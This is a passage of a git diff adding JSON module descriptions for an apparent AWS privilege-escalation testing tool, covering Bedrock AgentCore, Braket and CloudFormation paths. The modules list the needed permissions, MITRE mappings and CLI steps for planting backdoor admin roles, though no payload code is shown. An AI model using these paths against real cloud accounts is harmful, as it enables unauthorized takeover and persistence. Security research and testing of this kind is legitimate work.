+  "permissions": {
+    "required": [
+      {
+        "permission": "bedrock-agentcore:StartBrowserSession",
+        "description": "Target Custom Browser ARN or ID"
+      },
+      {
+        "permission": "bedrock-agentcore:ConnectBrowserAutomationStream",
+        "description": "Checked by AWS when the CDP WebSocket upgrade is authenticated"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "bedrock-agentcore:ListBrowsers",
+        "description": "Discover existing Custom Browsers"
+      },
+      {
+        "permission": "bedrock-agentcore:GetBrowser",
+        "description": "Confirm execution role attached to target browser"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An AgentCore Custom Browser must exist with an IAM execution role attached",
+      "The browser execution role must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "An AgentCore Custom Browser must exist with an IAM execution role attached"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-007",
+      "url": "https://pathfinding.cloud/paths/bedrock-007"
+    },
+    {
+      "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
+      "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "BROWSER_ID",
+      "description": "Target AgentCore Custom Browser ID (use 'discover' to enumerate existing browsers)",
+      "required": true,
+      "mockValue": "target-browser-id"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the Custom Browser is deployed",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "IDENTITY_NAME",
+      "description": "Name for the stolen execution role identity (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to the stolen identity after extraction",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use bedrock-007",
+    "pathrunner set BROWSER_ID target-browser-id",
+    "pathrunner exploit"
+  ],
+  "labSlug": null,
+  "gifs": [
+    {
+      "name": "bedrock-007",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/braket-001.json b/docs/pathrunner/data/modules/braket-001.json
new file mode 100644
index 00000000..808ce593
--- /dev/null
+++ b/docs/pathrunner/data/modules/braket-001.json
@@ -0,0 +1,150 @@
+{
+  "id": "braket-001",
+  "name": "iam:PassRole + braket:CreateJob",
+  "description": "Create a Braket Hybrid Job with a privileged IAM role as the execution role. The job runs a Python entry-point script from an attacker-controlled S3 bucket; that script uses the job execution role's credentials to attach AdministratorAccess to the starting user.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "braket"
+  ],
+  "primaryService": "braket",
+  "aliases": [
+    "braket-passrole",
+    "exploit/braket_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/braket-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM role to braket.amazonaws.com"
+      },
+      {
+        "permission": "braket:CreateJob"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "braket:GetJob",
+        "description": "Poll job execution status"
+      },
+      {
+        "permission": "braket:SearchJobs",
+        "description": "Discover existing jobs"
+      },
+      {
+        "permission": "s3:GetObject",
+        "description": "Read the pre-staged exploit script from S3"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role trusting braket.amazonaws.com with administrative permissions",
+      "S3 bucket accessible by the Braket job for output (attacker code bucket works)"
+    ],
+    "lateral": [
+      "IAM role trusting braket.amazonaws.com with elevated permissions",
+      "S3 bucket accessible by the Braket job for output"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - braket-001",
+      "url": "https://pathfinding.cloud/paths/braket-001"
+    },
+    {
+      "title": "Actions defined by Amazon Braket",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonbraket.html"
+    },
+    {
+      "title": "IAM roles for Amazon Braket",
+      "url": "https://docs.aws.amazon.com/braket/latest/developerguide/braket-manage-access.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the Braket job as jobExecutionRoleArn",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type to run inside the Braket job (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "SCRIPT_S3_URI",
+      "description": "S3 URI of the exploit script (e.g., s3://bucket/prefix/exploit.py). Auto-provisioned if attacker identity is set.",
+      "required": false
+    },
+    {
+      "name": "OUTPUT_S3_PATH",
+      "description": "S3 path for Braket job output (e.g., s3://bucket/braket-output). Defaults to code bucket if unset.",
+      "required": false
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Braket job deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "JOB_NAME",
+      "description": "Braket job name",
+      "required": false,
+      "mockValue": "target-glue-job"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up created resources after execution (default: true). Note: policy attachment is tracked separately for workspace cleanup.",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role via Braket Hybrid Job",
+      "slug": "braket-backdoor-attach-policy",
+      "qualifiedName": "braket:backdoor/attach-policy",
+      "service": "braket",
+      "tags": [
+        "braket",
+        "python",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use braket-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "braket-001",
+  "gifs": [
+    {
+      "name": "braket-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/cloudformation-001.json b/docs/pathrunner/data/modules/cloudformation-001.json
new file mode 100644
index 00000000..4f009ac8
--- /dev/null
+++ b/docs/pathrunner/data/modules/cloudformation-001.json
@@ -0,0 +1,167 @@
+{
+  "id": "cloudformation-001",
+  "name": "iam:PassRole + cloudformation:CreateStack",
+  "description": "A principal with iam:PassRole and cloudformation:CreateStack can create a new CloudFormation stack that provisions AWS resources using the permissions of a passed IAM role. When the passed role has administrative permissions, the template can create resources that grant the attacker escalated access \u2014 such as a new IAM role with AdministratorAccess that trusts the attacker's principal for sts:AssumeRole.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "cloudformation"
+  ],
+  "primaryService": "cloudformation",
+  "aliases": [
+    "cloudformation-passrole",
+    "cfn-001",
+    "exploit/cloudformation_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/cloudformation-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target CloudFormation service role ARN must be in Resource"
+      },
+      {
+        "permission": "cloudformation:CreateStack",
+        "description": "Create a new CloudFormation stack"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "cloudformation:DescribeStacks",
+        "description": "Poll for stack creation completion"
+      },
+      {
+        "permission": "cloudformation:DeleteStack",
+        "description": "Clean up the attack stack after exploitation"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available CloudFormation-trusted roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts cloudformation.amazonaws.com as a service principal",
+      "The role must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "A role must exist that trusts cloudformation.amazonaws.com as a service principal"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - cloudformation-001",
+      "url": "https://pathfinding.cloud/paths/cloudformation-001"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation - Rhino Security Labs",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackingTheCloud - PassRole + CloudFormation CreateStack",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack"
+    },
+    {
+      "title": "IAM Vulnerable - PassExistingRoleToCloudFormation",
+      "url": "https://github.com/BishopFox/iam-vulnerable/blob/main/modules/free-resources/privesc-paths/privesc20-PassExistingRoleToCloudFormation.tf"
+    },
+    {
+      "title": "HackTricks - AWS CloudFormation Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/index.html#iampassrole-cloudformationcreatestack"
+    }
+  ],
+  "relatedPaths": [
+    "ec2-001",
+    "lambda-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM role to pass to CloudFormation (must trust cloudformation.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type for the CloudFormation template (backdoor/attach-policy)",
+      "required": false,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "STACK_NAME",
+      "description": "Name for the CloudFormation stack to create. Auto-generated if not set",
+      "required": false,
+      "mockValue": "target-cloudformation-stack"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CloudFormation and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "ASSUME_ROLE",
+      "description": "Assume the escalated role after the stack completes",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ESCALATED_ROLE_NAME",
+      "description": "Name for the escalated IAM role to create (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "ARN to trust in the escalated role's trust policy (defaults to caller ARN)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the CloudFormation stack after execution. Requires cloudformation:DeleteStack",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Create an IAM role with AdministratorAccess trusted by the attacker's principal via CloudFormation template",
+      "slug": "cloudformation-backdoor-attach-policy",
+      "qualifiedName": "cloudformation:backdoor/attach-policy",
+      "service": "cloudformation",
+      "tags": [
+        "cloudformation",
+        "json",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use cloudformation-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "cloudformation-001",
+  "gifs": [
+    {
+      "name": "cloudformation-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/cloudformation-002.json b/docs/pathrunner/data/modules/cloudformation-002.json
new file mode 100644
index 00000000..20f208dc
--- /dev/null
+++ b/docs/pathrunner/data/modules/cloudformation-002.json
@@ -0,0 +1,169 @@
+{
+  "id": "cloudformation-002",
+  "name": "cloudformation:UpdateStack",
+  "description": "A principal with cloudformation:UpdateStack can modify an existing CloudFormation stack that has an administrative service role attached. CloudFormation stacks execute with the permissions of their service role, which often requires elevated privileges to manage infrastructure. By updating the stack template to include new IAM resources (such as an admin role with a trust policy allowing the attacker to assume it), the attacker can leverage the stack's elevated permissions to create resources they couldn't create directly. This is particularly insidious because it appears as legitimate infrastructure management activity.",
+  "category": "existing-passrole",
+  "services": [
+    "cloudformation",
+    "iam"
+  ],
+  "primaryService": "cloudformation",
+  "aliases": [
+    "cloudformation-updatestack",
+    "cfn-002",
+    "exploit/cloudformation_updatestack"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/cloudformation-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "cloudformation:UpdateStack",
+        "description": "Must have permission to update the target CloudFormation stack"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "cloudformation:DescribeStacks",
+        "description": "Discover existing stacks and poll for update completion"
+      },
+      {
+        "permission": "cloudformation:GetTemplate",
+        "description": "Retrieve current stack template for safe injection"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Verify the escalated role was created by the stack update"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Assume the newly created admin role"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A CloudFormation stack must exist with an administrative service role (e.g., AdministratorAccess or an equivalent custom policy)",
+      "The principal must have permission to update that specific stack"
+    ],
+    "lateral": [
+      "A CloudFormation stack must exist with a service role that has elevated permissions",
+      "The principal must have permission to update that specific stack"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - cloudformation-002",
+      "url": "https://pathfinding.cloud/paths/cloudformation-002"
+    },
+    {
+      "title": "PMapper CloudFormation Edge Detection (Original Implementation)",
+      "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/cloudformation_edges.py"
+    },
+    {
+      "title": "AWS IAM Privilege Escalation - Methods and Mitigation (Rhino Security Labs)",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "CloudFormation Change Set Privilege Escalation",
+      "url": "https://dev.to/aws-builders/cloudformation-change-set-privilege-escalation-18i6"
+    },
+    {
+      "title": "AWS CloudFormation Service Role Documentation",
+      "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html"
+    }
+  ],
+  "relatedPaths": [
+    "cloudformation-001",
+    "cloudformation-005"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation",
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "STACK_NAME",
+      "description": "Name of the existing CloudFormation stack with an admin service role",
+      "required": true,
+      "mockValue": "target-cloudformation-stack"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type for the injected CloudFormation resources (backdoor/attach-policy)",
+      "required": false,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CloudFormation and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "ASSUME_ROLE",
+      "description": "Attempt to assume the escalated role after the stack update completes",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the CloudFormation stack's service role. When provided, used to derive the stack name during discovery if cloudformation:ListStacks is unavailable",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "ESCALATED_ROLE_NAME",
+      "description": "Name for the escalated IAM role to create (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "ARN to trust in the escalated role's trust policy (defaults to caller ARN)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Revert the stack update after execution by restoring the original template. Requires cloudformation:UpdateStack",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Create an IAM role with AdministratorAccess trusted by the attacker's principal via CloudFormation template",
+      "slug": "cloudformation-backdoor-attach-policy",
+      "qualifiedName": "cloudformation:backdoor/attach-policy",
+      "service": "cloudformation",
+      "tags": [
+        "cloudformation",
+        "json",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use cloudformation-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set STACK_NAME target-cloudformation-stack",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "cloudformation-002",
+  "gifs": [
+    {
+      "name": "cloudformation-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/cloudformation-003.json b/docs/pathrunner/data/modules/cloudformation-003.json
new file mode 100644
index 00000000..b0999f60
--- /dev/null
+++ b/docs/pathrunner/data/modules/cloudformation-003.json
@@ -0,0 +1,189 @@
+{
+  "id": "cloudformation-003",
+  "name": "iam:PassRole + cloudformation:CreateStackSet + cloudformation:CreateStackInstances",
+  "description": "A principal with iam:PassRole, cloudformation:CreateStackSet, and cloudformation:CreateStackInstances can escalate privileges by creating a new CloudFormation StackSet with a privileged execution role and then deploying stack instances to trigger resource provisioning. The two-step process is critical: CreateStackSet defines the template and execution role but deploys nothing, while CreateStackInstances actually provisions the resources defined in the template using the execution role's credentials. Both permissions are required. The attacker's template defines an IAM role with AdministratorAccess trusted by the attacker's principal; once the stack instance deployment succeeds, the attacker assumes that role to gain administrative access.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "cloudformation"
+  ],
+  "primaryService": "cloudformation",
+  "aliases": [
+    "cloudformation-createstackset",
+    "cfn-003",
+    "exploit/cloudformation_passrole_createstackset_createstackinstances"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/cloudformation-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must have permission to pass the execution role to CloudFormation StackSets"
+      },
+      {
+        "permission": "cloudformation:CreateStackSet",
+        "description": "Create a new CloudFormation StackSet with the malicious template"
+      },
+      {
+        "permission": "cloudformation:CreateStackInstances",
+        "description": "Deploy stack instances to trigger resource provisioning"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "cloudformation:DescribeStackSet",
+        "description": "Monitor StackSet creation progress"
+      },
+      {
+        "permission": "cloudformation:DescribeStackSetOperation",
+        "description": "Poll for stack instance deployment status"
+      },
+      {
+        "permission": "cloudformation:ListStackInstances",
+        "description": "List deployed stack instances"
+      },
+      {
+        "permission": "cloudformation:DeleteStackInstances",
+        "description": "Remove stack instances during cleanup"
+      },
+      {
+        "permission": "cloudformation:DeleteStackSet",
+        "description": "Delete the StackSet during cleanup"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available privileged roles to use as the execution role"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A privileged IAM role must exist that can be passed as the StackSet execution role",
+      "The execution role must have administrative permissions (e.g., AdministratorAccess or equivalent)",
+      "An administration role must exist that trusts cloudformation.amazonaws.com and has permission to assume the execution role"
+    ],
+    "lateral": [
+      "A privileged IAM role must exist that can be passed as the StackSet execution role",
+      "The execution role must have elevated permissions to create the desired resources",
+      "An administration role must exist for StackSet operations"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - cloudformation-003",
+      "url": "https://pathfinding.cloud/paths/cloudformation-003"
+    },
+    {
+      "title": "AWS IAM Privilege Escalation \u2013 Methods and Mitigation (Rhino Security Labs)",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "How to implement the principle of least privilege with CloudFormation StackSets (AWS Security Blog)",
+      "url": "https://aws.amazon.com/blogs/security/how-to-implement-the-principle-of-least-privilege-with-cloudformation-stacksets/"
+    },
+    {
+      "title": "Grant self-managed permissions (AWS CloudFormation Documentation)",
+      "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-prereqs-self-managed.html"
+    }
+  ],
+  "relatedPaths": [
+    "cloudformation-001",
+    "cloudformation-002",
+    "cloudformation-004"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "EXECUTION_ROLE_NAME",
+      "description": "Name of the IAM execution role to pass to CloudFormation StackSets (must have elevated permissions; CloudFormation assumes this role in each target account to create resources)",
+      "required": true,
+      "mockValue": "TargetExecutionRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type for the CloudFormation StackSet template (backdoor/attach-policy)",
+      "required": false,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM administration role to pass via iam:PassRole (must trust cloudformation.amazonaws.com and be able to assume the execution role). Leave blank to auto-construct from account ID using the lab's default naming convention",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "STACKSET_NAME",
+      "description": "Name for the new CloudFormation StackSet to create. Defaults to a timestamped pathrunner name",
+      "required": false,
+      "mockValue": "target-stackset"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CloudFormation and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "ASSUME_ROLE",
+      "description": "Attempt to assume the escalated role after the StackSet deployment completes",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ESCALATED_ROLE_NAME",
+      "description": "Name for the escalated IAM role to create (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "ARN to trust in the escalated role's trust policy (defaults to caller ARN)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the StackSet and its stack instances after execution. Requires cloudformation:DeleteStackInstances and cloudformation:DeleteStackSet",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Create an IAM role with AdministratorAccess trusted by the attacker's principal via CloudFormation template",
+      "slug": "cloudformation-backdoor-attach-policy",
+      "qualifiedName": "cloudformation:backdoor/attach-policy",
+      "service": "cloudformation",
+      "tags": [
+        "cloudformation",
+        "json",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use cloudformation-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set EXECUTION_ROLE_NAME TargetExecutionRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "cloudformation-003",
+  "gifs": [
+    {
+      "name": "cloudformation-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/cloudformation-004.json b/docs/pathrunner/data/modules/cloudformation-004.json
new file mode 100644
index 00000000..edfcbecc
--- /dev/null
+++ b/docs/pathrunner/data/modules/cloudformation-004.json
@@ -0,0 +1,179 @@
+{
+  "id": "cloudformation-004",
+  "name": "iam:PassRole + cloudformation:UpdateStackSet",
+  "description": "A principal with iam:PassRole and cloudformation:UpdateStackSet can escalate privileges by modifying an existing CloudFormation StackSet that has a privileged execution role. Both permissions are required\u2014cloudformation:UpdateStackSet alone is insufficient because the UpdateStackSet API call requires passing the administration role ARN, which necessitates iam:PassRole. The attacker injects a malicious IAM role into the StackSet template and passes the administration role ARN. CloudFormation's execution role provisions the new admin IAM role across all stack instances. The attacker then assumes that role for full admin access.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "cloudformation"
+  ],
+  "primaryService": "cloudformation",
+  "aliases": [
+    "cloudformation-updatestackset",
+    "cfn-004",
+    "exploit/cloudformation_updatestackset"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/cloudformation-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must have permission to pass the administration role to CloudFormation StackSets"
+      },
+      {
+        "permission": "cloudformation:UpdateStackSet",
+        "description": "Must have permission to update the target CloudFormation StackSet"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "cloudformation:DescribeStackSet",
+        "description": "View StackSet details and retrieve current template"
+      },
+      {
+        "permission": "cloudformation:DescribeStackSetOperation",
+        "description": "Monitor StackSet update operation progress"
+      },
+      {
+        "permission": "cloudformation:ListStackInstances",
+        "description": "List stack instances to confirm deployment targets"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Verify the escalated role was created by the StackSet update"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A CloudFormation StackSet must exist that the principal can update",
+      "The StackSet must have an execution role with administrative permissions (e.g., AdministratorAccess)",
+      "The StackSet must have at least one stack instance deployed"
+    ],
+    "lateral": [
+      "A CloudFormation StackSet must exist that the principal can update",
+      "The StackSet must have an execution role with elevated permissions to create the desired resources",
+      "The StackSet must have deployed stack instances"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - cloudformation-004",
+      "url": "https://pathfinding.cloud/paths/cloudformation-004"
+    },
+    {
+      "title": "AWS IAM Privilege Escalation - Methods and Mitigation (Rhino Security Labs)",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "AWS CloudFormation Privilege Escalation (HackTricks)",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/index.html"
+    },
+    {
+      "title": "AWS CloudFormation Service Role Documentation",
+      "url": "https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html"
+    }
+  ],
+  "relatedPaths": [
+    "cloudformation-001",
+    "cloudformation-002",
+    "cloudformation-003",
+    "cloudformation-005"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation",
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "STACKSET_NAME",
+      "description": "Name of the existing CloudFormation StackSet with an admin execution role",
+      "required": true,
+      "mockValue": "target-stackset"
+    },
+    {
+      "name": "ADMIN_ROLE_ARN",
+      "description": "ARN of the administration role to pass to CloudFormation StackSets (requires iam:PassRole). Leave blank to auto-construct from account ID using the lab's default role name",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "EXECUTION_ROLE_NAME",
+      "description": "Name of the execution role used by the StackSet in target accounts",
+      "required": false,
+      "mockValue": "TargetExecutionRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CloudFormation and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "ASSUME_ROLE",
+      "description": "Attempt to assume the escalated role after the StackSet update completes",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type for the CloudFormation StackSet template injection (backdoor/attach-policy)",
+      "required": false,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "ESCALATED_ROLE_NAME",
+      "description": "Name for the escalated IAM role to create (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "ARN to trust in the escalated role's trust policy (defaults to caller ARN)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Revert the StackSet to its original template after execution. Requires cloudformation:UpdateStackSet with the admin role",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Create an IAM role with AdministratorAccess trusted by the attacker's principal via CloudFormation template",
+      "slug": "cloudformation-backdoor-attach-policy",
+      "qualifiedName": "cloudformation:backdoor/attach-policy",
+      "service": "cloudformation",
+      "tags": [
+        "cloudformation",
+        "json",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use cloudformation-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set STACKSET_NAME target-stackset",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "cloudformation-004",
+  "gifs": [
+    {
+      "name": "cloudformation-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/cloudformation-005.json b/docs/pathrunner/data/modules/cloudformation-005.json
new file mode 100644
index 00000000..868e47eb
--- /dev/null
+++ b/docs/pathrunner/data/modules/cloudformation-005.json
